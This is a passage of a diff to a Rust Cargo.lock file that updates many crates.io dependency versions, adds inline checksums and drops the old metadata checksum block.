- "getrandom 0.1.13 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "rand_chacha 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "rand_hc 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc",
+ "rand_chacha",
+ "rand_core",
 ]
 
 [[package]]
 name = "rand_chacha"
-version = "0.2.1"
+version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
 dependencies = [
- "c2-chacha 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "ppv-lite86",
+ "rand_core",
 ]
 
 [[package]]
 name = "rand_core"
-version = "0.5.1"
+version = "0.6.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
 dependencies = [
- "getrandom 0.1.13 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "rand_hc"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "getrandom 0.2.16",
 ]
 
 [[package]]
 name = "rayon"
-version = "1.2.0"
+version = "1.10.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa"
 dependencies = [
- "crossbeam-deque 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "either 1.5.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "rayon-core 1.6.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "either",
+ "rayon-core",
 ]
 
 [[package]]
 name = "rayon-core"
-version = "1.6.0"
+version = "1.12.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
 dependencies = [
- "crossbeam-deque 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "crossbeam-queue 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "crossbeam-utils 0.6.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "num_cpus 1.11.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "crossbeam-deque",
+ "crossbeam-utils",
 ]
 
 [[package]]
 name = "redox_syscall"
-version = "0.1.56"
+version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a"
+dependencies = [
+ "bitflags 1.3.2",
+]
 
 [[package]]
 name = "regex"
-version = "1.3.1"
+version = "1.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
 dependencies = [
- "regex-syntax 0.6.12 (registry+https://github.com/rust-lang/crates.io-index)",
+ "aho-corasick",
+ "memchr",
+ "regex-automata",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-automata"
+version = "0.4.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-syntax",
 ]
 
 [[package]]
 name = "regex-syntax"
-version = "0.6.12"
+version = "0.8.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
 
 [[package]]
-name = "remove_dir_all"
-version = "0.5.2"
+name = "rustix"
+version = "1.0.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c71e83d6afe7ff64890ec6b71d6a69bb8a610ab78ce364b3352876bb4c801266"
 dependencies = [
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "bitflags 2.9.1",
+ "errno",
+ "libc",
+ "linux-raw-sys",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
-name = "rustc_version"
-version = "0.2.3"
+name = "rustversion"
+version = "1.0.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "semver 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)",
-]
+checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
 
 [[package]]
 name = "ryu"
-version = "1.0.2"
+version = "1.0.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
 
 [[package]]
 name = "scopeguard"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-
-[[package]]
-name = "semver"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "semver-parser 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "semver-parser"
-version = "0.7.0"
+version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
 
 [[package]]
 name = "serde"
-version = "1.0.102"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
 dependencies = [
- "serde_derive 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)",
+ "serde_derive",
 ]
 
 [[package]]
 name = "serde_derive"
-version = "1.0.102"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
 dependencies = [
- "proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "syn 1.0.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "serde_json"
-version = "1.0.41"
+version = "1.0.140"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
 dependencies = [
- "itoa 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)",
- "ryu 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "serde 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)",
+ "itoa",
+ "memchr",
+ "ryu",
+ "serde",
 ]
 
 [[package]]
 name = "serde_yaml"
-version = "0.8.11"
+version = "0.8.26"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "578a7433b776b56a35785ed5ce9a7e777ac0598aac5a6dd1b4b18a307c7fc71b"
 dependencies = [
- "dtoa 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)",
- "linked-hash-map 0.5.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "serde 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)",
- "yaml-rust 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)",
+ "indexmap",
+ "ryu",
+ "serde",
+ "yaml-rust",
 ]
 
 [[package]]
-name = "signal-hook"
-version = "0.1.11"
+name = "shlex"
+version = "1.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
+
+[[package]]
+name = "signal-hook"
+version = "0.3.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d881a16cf4426aa584979d30bd82cb33429027e42122b169753d6ef1085ed6e2"
 dependencies = [
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "signal-hook-registry 1.1.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc",
+ "signal-hook-registry",
 ]
 
 [[package]]
 name = "signal-hook-registry"
-version = "1.1.1"
+version = "1.4.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9203b8055f63a2a00e2f593bb0510367fe707d7ff1e5c872de2f537b339e5410"
 dependencies = [
- "arc-swap 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc",
 ]
 
 [[package]]
 name = "smallvec"
-version = "0.6.13"
+version = "1.15.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "maybe-uninit 2.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
-]
+checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
 
 [[package]]
 name = "strsim"
-version = "0.9.2"
+version = "0.10.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
 
 [[package]]
 name = "syn"
-version = "0.15.44"
+version = "1.0.109"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
 dependencies = [
- "proc-macro2 0.4.30 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 0.6.13 (registry+https://github.com/rust-lang/crates.io-index)",
- "unicode-xid 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
 ]
 
 [[package]]
 name = "syn"
-version = "1.0.8"
+version = "2.0.104"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40"
 dependencies = [
- "proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "unicode-xid 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
 ]
 
 [[package]]
 name = "synstructure"
-version = "0.12.3"
+version = "0.12.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
 dependencies = [
- "proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "syn 1.0.8 (registry+https://github.com/rust-lang/crates.io-index)",
- "unicode-xid 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+ "unicode-xid",
 ]
 
 [[package]]
 name = "tempfile"
-version = "3.1.0"
+version = "3.20.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
 dependencies = [
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "rand 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "redox_syscall 0.1.56 (registry+https://github.com/rust-lang/crates.io-index)",
- "remove_dir_all 0.5.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "fastrand",
+ "getrandom 0.3.3",
+ "once_cell",
+ "rustix",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
-name = "term_size"
-version = "0.3.1"
+name = "termcolor"
+version = "1.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755"
 dependencies = [
- "kernel32-sys 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "winapi-util",
 ]
 
 [[package]]
-name = "term_size"
-version = "1.0.0-beta1"
+name = "terminal_size"
+version = "0.1.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "633c1a546cee861a1a6d0dc69ebeca693bf4296661ba7852b9d21d159e0506df"
 dependencies = [
- "kernel32-sys 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "termios"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc",
+ "winapi",
 ]
 
 [[package]]
 name = "textwrap"
-version = "0.11.0"
+version = "0.12.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "203008d98caf094106cfaba70acfed15e18ed3ddb7d94e49baec153a2b462789"
 dependencies = [
- "term_size 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "unicode-width 0.1.6 (registry+https://github.com/rust-lang/crates.io-index)",
+ "terminal_size",
+ "unicode-width 0.1.14",
 ]
 
 [[package]]
 name = "toml"
-version = "0.5.5"
+version = "0.5.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
 dependencies = [
- "serde 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)",
+ "serde",
 ]
 
+[[package]]
+name = "unicode-ident"
+version = "1.0.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
+
+[[package]]
+name = "unicode-segmentation"
+version = "1.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f6ccf251212114b54433ec949fd6a7841275f9ada20dddd2f29e9ceea4501493"
+
 [[package]]
 name = "unicode-width"
-version = "0.1.6"
+version = "0.1.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af"
+
+[[package]]
+name = "unicode-width"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4a1a07cc7db3810833284e8d372ccdc6da29741639ecc70c9ec107df0fa6154c"
 
 [[package]]
 name = "unicode-xid"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-
-[[package]]
-name = "unicode-xid"
-version = "0.2.0"
+version = "0.2.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
 
 [[package]]
 name = "vec_map"
-version = "0.8.1"
+version = "0.8.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
 
 [[package]]
-name = "void"
-version = "1.0.2"
+name = "version_check"
+version = "0.9.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
 
 [[package]]
 name = "wasi"
-version = "0.7.0"
+version = "0.11.1+wasi-snapshot-preview1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
 
 [[package]]
-name = "winapi"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-
-[[package]]
-name = "winapi"
-version = "0.3.8"
+name = "wasi"
+version = "0.14.2+wasi-0.2.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3"
 dependencies = [
- "winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "wit-bindgen-rt",
 ]
 
 [[package]]
-name = "winapi-build"
-version = "0.1.1"
+name = "winapi"
+version = "0.3.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
 
 [[package]]
 name = "winapi-i686-pc-windows-gnu"
 version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-util"
+version = "0.1.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb"
+dependencies = [
+ "windows-sys 0.59.0",
+]
 
 [[package]]
 name = "winapi-x86_64-pc-windows-gnu"
 version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+
+[[package]]
+name = "windows-sys"
+version = "0.59.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
+dependencies = [
+ "windows-targets 0.52.6",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.60.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
+dependencies = [
+ "windows-targets 0.53.2",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
+dependencies = [
+ "windows_aarch64_gnullvm 0.52.6",
+ "windows_aarch64_msvc 0.52.6",
+ "windows_i686_gnu 0.52.6",
+ "windows_i686_gnullvm 0.52.6",
+ "windows_i686_msvc 0.52.6",
+ "windows_x86_64_gnu 0.52.6",
+ "windows_x86_64_gnullvm 0.52.6",
+ "windows_x86_64_msvc 0.52.6",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.53.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c66f69fcc9ce11da9966ddb31a40968cad001c5bedeb5c2b82ede4253ab48aef"
+dependencies = [
+ "windows_aarch64_gnullvm 0.53.0",
+ "windows_aarch64_msvc 0.53.0",
+ "windows_i686_gnu 0.53.0",
+ "windows_i686_gnullvm 0.53.0",
+ "windows_i686_msvc 0.53.0",
+ "windows_x86_64_gnu 0.53.0",
+ "windows_x86_64_gnullvm 0.53.0",
+ "windows_x86_64_msvc 0.53.0",
+]
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
+
+[[package]]
+name = "wit-bindgen-rt"
+version = "0.39.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1"
+dependencies = [
+ "bitflags 2.9.1",
+]
 
 [[package]]
 name = "yaml-rust"
-version = "0.4.3"
+version = "0.4.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85"
 dependencies = [
- "linked-hash-map 0.5.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "linked-hash-map",
 ]
 
-[metadata]
-"checksum ansi_term 0.12.1 (registry+https://github.com/rust-lang/crates.io-index)" = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2"
-"checksum anyhow 1.0.19 (registry+https://github.com/rust-lang/crates.io-index)" = "57114fc2a6cc374bce195d3482057c846e706d252ff3604363449695684d7a0d"
-"checksum arc-swap 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "f1a1eca3195b729bbd64e292ef2f5fff6b1c28504fed762ce2b1013dde4d8e92"
-"checksum atty 0.2.13 (registry+https://github.com/rust-lang/crates.io-index)" = "1803c647a3ec87095e7ae7acfca019e98de5ec9a7d01343f611cf3152ed71a90"
-"checksum autocfg 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)" = "1d49d90015b3c36167a20fe2810c5cd875ad504b39cff3d4eae7977e6b7c1cb2"
-"checksum base64 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "b41b7ea54a0c9d92199de89e20e58d49f02f8e699814ef3fdf266f6f748d15c7"
-"checksum bitflags 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693"
-"checksum c2-chacha 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)" = "214238caa1bf3a496ec3392968969cab8549f96ff30652c9e56885329315f6bb"
-"checksum cc 1.0.47 (registry+https://github.com/rust-lang/crates.io-index)" = "aa87058dce70a3ff5621797f1506cb837edd02ac4c0ae642b4542dce802908b8"
-"checksum cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)" = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
-"checksum clap 3.0.0-beta.1 (git+https://github.com/clap-rs/clap)" = "<none>"
-"checksum clap_derive 0.3.0 (git+https://github.com/clap-rs/clap_derive)" = "<none>"
-"checksum clicolors-control 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)" = "90082ee5dcdd64dc4e9e0d37fbf3ee325419e39c0092191e0393df65518f741e"
-"checksum cloudabi 0.0.3 (registry+https://github.com/rust-lang/crates.io-index)" = "ddfc5b9aa5d4507acaf872de71051dfd0e309860e88966e1051e462a077aac4f"
-"checksum console 0.9.1 (registry+https://github.com/rust-lang/crates.io-index)" = "f5d540c2d34ac9dd0deb5f3b5f54c36c79efa78f6b3ad19106a554d07a7b5d9f"
-"checksum crossbeam-channel 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "acec9a3b0b3559f15aee4f90746c4e5e293b701c0f7d3925d24e01645267b68c"
-"checksum crossbeam-deque 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)" = "c3aa945d63861bfe624b55d153a39684da1e8c0bc8fba932f7ee3a3c16cea3ca"
-"checksum crossbeam-epoch 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)" = "5064ebdbf05ce3cb95e45c8b086f72263f4166b29b97f6baff7ef7fe047b55ac"
-"checksum crossbeam-queue 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "7c979cd6cfe72335896575c6b5688da489e420d36a27a0b9eb0c73db574b4a4b"
-"checksum crossbeam-utils 0.6.6 (registry+https://github.com/rust-lang/crates.io-index)" = "04973fa96e96579258a5091af6003abde64af786b860f18622b82e026cca60e6"
-"checksum crossbeam-utils 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ce446db02cdc3165b94ae73111e570793400d0794e46125cc4056c81cbb039f4"
-"checksum dtoa 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)" = "ea57b42383d091c85abcc2706240b94ab2a8fa1fc81c10ff23c4de06e2a90b5e"
-"checksum either 1.5.3 (registry+https://github.com/rust-lang/crates.io-index)" = "bb1f6b1ce1c140482ea30ddd3335fc0024ac7ee112895426e0a629a6c20adfe3"
-"checksum encode_unicode 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)" = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f"
-"checksum err-derive 0.1.6 (registry+https://github.com/rust-lang/crates.io-index)" = "b41487fadaa500d02a819eefcde5f713599a01dd51626ef25d2d72d87115667b"
-"checksum getrandom 0.1.13 (registry+https://github.com/rust-lang/crates.io-index)" = "e7db7ca94ed4cd01190ceee0d8a8052f08a247aa1b469a7f68c6a3b71afcf407"
-"checksum getset 0.0.9 (registry+https://github.com/rust-lang/crates.io-index)" = "5bb3f5b7d8d70c9bd23cf29b2b38094661418fb0ea79f1b0cc2019a11d6f5429"
-"checksum hermit-abi 0.1.3 (registry+https://github.com/rust-lang/crates.io-index)" = "307c3c9f937f38e3534b1d6447ecf090cafcc9744e4a6360e8b037b2cf5af120"
-"checksum hostname 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "dc5260e6c63877196b6fca5a7fb4eaff751134045ad3415716192baa36f5b9a0"
-"checksum indexmap 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712d7b3ea5827fcb9d4fda14bf4da5f136f0db2ae9c8f4bd4e2d1c6fde4e6db2"
-"checksum indicatif 0.13.0 (registry+https://github.com/rust-lang/crates.io-index)" = "8572bccfb0665e70b7faf44ee28841b8e0823450cd4ad562a76b5a3c4bf48487"
-"checksum ipnetwork 0.15.0 (registry+https://github.com/rust-lang/crates.io-index)" = "bf7762e2b430ad80cbef992a1d4f15a15d9d4068bdd8e57acb0a3d21d0cf7f40"
-"checksum itoa 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)" = "501266b7edd0174f8530248f87f99c88fbe60ca4ef3dd486835b8d8d53136f7f"
-"checksum kernel32-sys 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)" = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
-"checksum lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
